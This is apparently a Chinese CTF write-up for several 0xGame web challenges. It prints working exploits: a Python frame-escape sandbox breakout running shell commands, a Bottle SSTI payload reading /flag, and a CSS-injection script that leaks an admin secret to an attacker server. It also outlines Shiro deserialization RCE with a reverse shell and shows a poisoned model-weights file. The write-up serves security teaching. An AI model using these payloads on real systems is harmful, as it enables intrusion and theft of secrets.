gi_frame: 生成器对应的frame(栈帧)对象
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量
gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息
当然还有f_系列的:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息
f_lasti: 整数,表示最后执行的字节码指令的索引
f_back: 指向上一级调用栈帧的引用,用于构建调用栈
进去可以直接看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from flask import Flask, request, Responseimport sysimport ioapp = Flask(__name__) blackchar = "&*^%#${}@!~`·/<>" def safe_sandbox_Exec (code ): whitelist = { "print" : print , "list" : list , "len" : len , "Exception" : Exception } safe_globals = {"__builtins__" : whitelist} original_stdout = sys.stdout original_stderr = sys.stderr sys.stdout = io.StringIO() sys.stderr = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() return output or error or "No output" except Exception as e: return f"Error: {e} " finally : sys.stdout = original_stdout sys.stderr = original_stderr @app.route('/' ) def index (): return open (__file__).read() @app.route('/check' , methods=['POST' ] ) def check (): data = request.form['data' ] if not data: return Response("NO data" , status=400 ) for d in blackchar: if d in data: return Response("NONONO" , status=400 ) secret = safe_sandbox_Exec(data) return Response(secret, status=200 ) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=9000 )
看源码就是一个最基本的栈帧逃逸题目,这里设定了一个沙箱,限制了 exec 环境中可用的内建函数,如果想要是用其他如: __globals__等就需要逃逸出这个沙箱(感觉AI就能做,但是新生赛还是不推荐)
具体知识可以看看下面几篇blog
Python利用栈帧沙箱逃逸-先知社区
python栈帧沙箱逃逸 - Zer0peach can’t think
随便写了点过滤,应该有很多种方法可以解出,这边留了一个Exception,可以用异常栈帧逃逸来做
通过try和except的方法抛出异常,然后运用__traceback__追踪异常并定位到发生异常的栈帧,然后再回溯到上一层:
1 2 3 4 5 6 try : 1 /0 except Exception as e: frame = e.__traceback__.tb_frame.f_back builtins = frame.f_globals['__builtins__' ] builtins.exec ("builtins.__import__('os').system('ls / -al > app.py')" )
通过 int(‘’) 主动引发一个异常,目的是进入 except 块并获取异常对象
捕获异常后,e 包含完整的堆栈信息(__traceback__属性)
简单写个exp运行即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestspayload = ''' try: int('') except Exception as e: frame = e.__traceback__.tb_frame.f_back.f_back builtins = frame.f_globals['__builtins__'] output = builtins.__import__('os').popen('env').read() print(output) ''' url = "http://127.0.0.1:8998/check" res = requests.post(url, data={"data" : payload}) print (res.text)
Week4 这周应该除了签到,都需要发散一下思维(),Week3天天被非预期,所以Week4需要惩罚一下大家
绳网委托Bottle版
[!NOTE]
灵感来源:GHCTF2025的SSTI,不过这题我感觉前端部分优化的很不错
[!IMPORTANT]
Yuzuha在回释诡斋的路上遇到了灵异事件,于是她想在绳网上发布委托来拜托法厄同调查此事….
https://xz.aliyun.com/news/16942?u_atoken=95e962674f782d4542190e3a1aede167&u_asig=1a0c399717413302460763434e0039
考的是Bottle中插入python代码进行SSTI
过滤了{},所以并不能使用常规的SSTI来进行注入
看开发者文档
https://www.osgeo.cn/bottle/stpl.html
这里看到可以用if
所以payload:
1 2 3 4 5 6 <div > % if __import__('bottle').abort(404,__import__('os').popen("cat /flag").read()): <span > content</span > % end </div >
跨站脚本攻击叫CSS还是XSS
[!NOTE]
无
[!IMPORTANT]
跨站脚本攻击到底是叫CSS还是XSS???
https://aszx87410.github.io/beyond-xss/ch3/css-injection/
https://book.hacktricks.xyz/v/cn/pentesting-web/xs-search/css-injection
https://github.com/cure53/DOMPurify
CSS Leak 即通过 CSS 注入实现 XS Leak, 一个常见的方法是利用 CSS 选择器匹配指定标签的某个属性的内容
例如, 目标网站存在 HTML
1 <meta readonly name ="secret" content ="wwww" >
根据参考文章, 当网站可以注入 CSS 时, 便可以通过属性选择器匹配 meta 标签内的 value 属性
1 2 3 meta[name="secret" ] [content^="{}" ] { background : url ("http://myserver.com?q=w" ); }
该 CSS 的作用如下
通过属性选择器匹配某个 meta 标签, 其 name 属性的值为 secret, 且 content 属性以 w 开头
如果成功匹配, 则会向 https://myserver.com?q=w 发起 HTTP 请求
通过上述过程, 便可以一步一步地拿到 content 标签的所有内容,不过因为meta正常来说不会被浏览器所渲染的,而meta又在head之下
所以还需要:
1 2 3 head, meta { display: block; }
题目提供了 paste note, view note 和 report 功能
其中 view note 时会返回 secret 字段
1 2 3 4 5 6 7 8 9 10 app.get ('/view/:id' , requireLogin, (req, res ) => { let id = req.params .id ; res.render ('view' , { id : id, content : notes.get (id) || 'Note not found' , secret : (req.session .user === 'admin' ) ? FLAG : 'Admin Channel' , note : (req.session .user === 'admin' )? 'Welcome Admin' : 'You Are Not Admin So No Secrets Here' }); })
只有当用户为 admin 时才会显示 FLAG
前端模版 view.ejs 部分内容
1 2 3 4 <head > <title > View</title > <meta readonly name ="secret" content ="<%- locals.secret %>" > </head >
代码使用了 <%- xxx %> 来显示 content 变量的内容, 这种方式不会对 HTML 标签进行转义, 同时 secret (flag) 被显示在了 meta 标签的 value 属性内
注意到 paste note 存在 DOMPutify 过滤
1 2 3 4 5 6 7 8 9 10 app.post ('/paste' , requireLogin, (req, res ) => { let id = crypto.randomUUID (); let content = req.body .content ; let clean_content = DOMPurify .sanitize (content); notes.set (id, clean_content); res.render ('index' , { message : 'Paste note successfully! <br /> ID: <a href="/view/' + id + '">' + id + '</a>' }); })
DOMPutify 是一个 XSS 净化器 (sanitizer), 它会清除任何可能造成 XSS 的危险内容, 一般来说这个第三方库足够安全, 不会出现绕过的可能性, 因此只能从其它角度入手
翻阅 DOMPurify 官方文档以及上述参考文章, 可以知道 DOMPurify 在默认情况下并不会过滤 style 标签
结合 view.ejs 以及 bot.js 的代码, 容易知道解题思路是通过 CSS 注入泄漏 admin 用户的 secret (flag)
payload 如下, 分为两个文件: exp.html 和 exp.py
exp.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <script > const sleep = (ms ) => new Promise (resolve => setTimeout (resolve, ms)); (async function ( ) { while (true ) { let res = await fetch ('http://host.docker.internal:8000/next' ); let note_id = await res.text (); if (note_id === 'done' ) { break ; } let w = window .open ('http://localhost:3000/view/' + note_id); await sleep (1000 ); w.close (); } })() </script >
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from flask import Flask, requestfrom flask_cors import cross_originimport requestsimport stringimport randomimport reapp = Flask(__name__) flag = '' dicts = string.ascii_letters + string.digits + r'{}-_' payload = ''' meta[name="secret"][content^="{}"] {{ background: url("http://host.docker.internal:8000/leak?c={}"); }}''' data = { 'username' : random.randbytes(6 ).hex (), 'password' : random.randbytes(6 ).hex () } s = requests.Session() s.post('http://127.0.0.1:10800/register' , data=data) s.post('http://127.0.0.1:10800/login' , data=data) next_note_id = '' def report (): s.post('http://127.0.0.1:10800/report' , data={ 'url' : 'http://host.docker.internal:8000/exp.html' }) def paste (flag ): global next_note_id if flag.endswith('}' ): next_note_id = 'done' print ('done' ) return content = ''' head, meta { display: block; } ''' for c in dicts: content += payload.format (flag + c, c) res = s.post('http://127.0.0.1:10800/paste' , data={ 'content' : '<div><style>' + content + '</style></div>' }) next_note_id = re.findall(r'"/view/(.*)?"' , res.text)[0 ] print ('next note id: ' + next_note_id) @cross_origin() @app.route('/next' ) def next (): return next_note_id @app.route('/exp.html' ) def exp_html (): with open ('exp.html' , 'r' ) as f: content = f.read() return content @app.route('/leak' ) def leak (): global flag c = request.args.get('c' ) flag += c print ('flag: ' + flag) paste(flag) return 'ok' if __name__ == '__main__' : paste('' ) report() app.run(host='0.0.0.0' , port=8000 )
运行 exp.py 后稍等一会即可泄露出完整的 flag
SpringShiro
[!NOTE]
感谢X1授权供题!
[!IMPORTANT]
无
直接看附件可以发现账号密码,你也可以弱密码爆破一下,登陆后下载 /actuator/heapdump
用 https://github.com/whwlsfb/JDumpSpider 获取 shiro key
用 https://github.com/SummerSec/ShiroAttack2 打 shiro 反序列化 rce (key填第二步获得的key),利用链随便选一条能打的就行 然后反弹shell
旧吊带袜天使:想吃真蛋糕的Stocking
[!NOTE]
因为有个langflow的签到题坠机了,所以就有了这个,后面还有个吊带袜天使2077,因为还是0解,所以我打算留着自己研究一下
[!IMPORTANT]
堕天城举办了蛋糕烘培大赛,虽然允许各种各样的东西被烘焙成蛋糕,但是绝不允许出现蛋糕样子的毒苹果哦
改了一下难度,这样AI一下应该就可以了,所以标成noob,不过如果手搓的话还是有点难度的,所以还是来分析一下,直接看model_server.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class SimpleDessertClassifier (nn.Module): def __init__ (self ): super ().__init__() self .feature = nn.Sequential( nn.Conv2d(3 , 32 , 3 , padding=1 ), nn.ReLU(), nn.MaxPool2d(2 ), nn.Conv2d(32 , 64 , 3 , padding=1 ), nn.ReLU(), nn.MaxPool2d(2 ), nn.Conv2d(64 , 128 , 3 , padding=1 ), nn.ReLU(), nn.MaxPool2d(2 ), nn.AdaptiveAvgPool2d((7 , 7 )), nn.Flatten(), ) self .classifier = nn.Sequential( nn.Linear(128 * 7 * 7 , 256 ), nn.ReLU(), nn.Dropout(0.3 ), nn.Linear(256 , 128 ), nn.ReLU(), nn.Linear(128 , 3 ) )
最后一层 :classifier[5](即 nn.Linear(128, 3))其参数在 state_dict 中命名为:
'classifier.5.weight':形状 (3, 128)
'classifier.5.bias':形状 (3,)
一般来说,CNN和中间层都比较难以控制,注意到app.py里的判断逻辑:
1 2 3 if cake_confidence < 24 and poisoned_apple_confidence > cake_confidence: result['flag' ] = os.environ.get('FLAG' , '0xGame{Panty_&_Stocking_with_Garterbelt}' ) result['message' ] = 'Warning Cake'
只需要控制输出层,让他将置信度输出到你想要的就行了,所以直接污染输出层
app.py中的模型加载逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @app.route('/upload_model' , methods=['POST' ] ) def upload_model (): global current_model if 'model' not in request.files: return jsonify({'error' : 'NULL' }), 400 file = request.files['model' ] if file.filename == '' : return jsonify({'error' : 'Empty' }), 400 if not file.filename.endswith('.pth' ): return jsonify({'error' : 'Only .pth' }), 400 model_id = str (uuid.uuid4()) model_path = os.path.join(UPLOAD_FOLDER, f"{model_id} .pth" ) file.save(model_path) try : state_dict = torch.load(model_path, map_location='cpu' , weights_only=True ) new_model = SimpleDessertClassifier() new_model.load_state_dict(state_dict) new_model.eval () except Exception as e: return jsonify({'error' : f'Load failed: {str (e)} ' }), 400 current_model = new_model session['model_id' ] = model_id return jsonify({'success' : True , 'model_id' : model_id})
这边上传部分就匹配后缀就行,然后看这边的load部分:
1 2 3 state_dict = torch.load(model_path, map_location='cpu' , weights_only=True ) new_model = SimpleDessertClassifier() new_model.load_state_dict(state_dict)
根据官方文档Module — PyTorch 2.9 documentation
这边可以看到,load_state_dict 必须完全匹配键名和张量形状,所以为了让他能够完全匹配,我们就直接从源文件那边导入类:from model_server import SimpleDessertClassifier,然后定位后污染即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import torchfrom model_server import SimpleDessertClassifier model = SimpleDessertClassifier() sd = model.state_dict() last_linear_weight = None last_linear_bias = None for k in sorted (sd.keys()): if k.endswith('.weight' ) and sd[k].shape[0 ] == 3 : last_linear_weight = k last_linear_bias = k.replace('.weight' , '.bias' ) break if last_linear_weight is None : raise RuntimeError("未能找到输出层 Linear" ) sd[last_linear_weight] = torch.zeros_like(sd[last_linear_weight]) sd[last_linear_bias] = torch.tensor([-10.0 , 10.0 , 0.0 ]) torch.save(sd, "poisoned_fixed.pth" )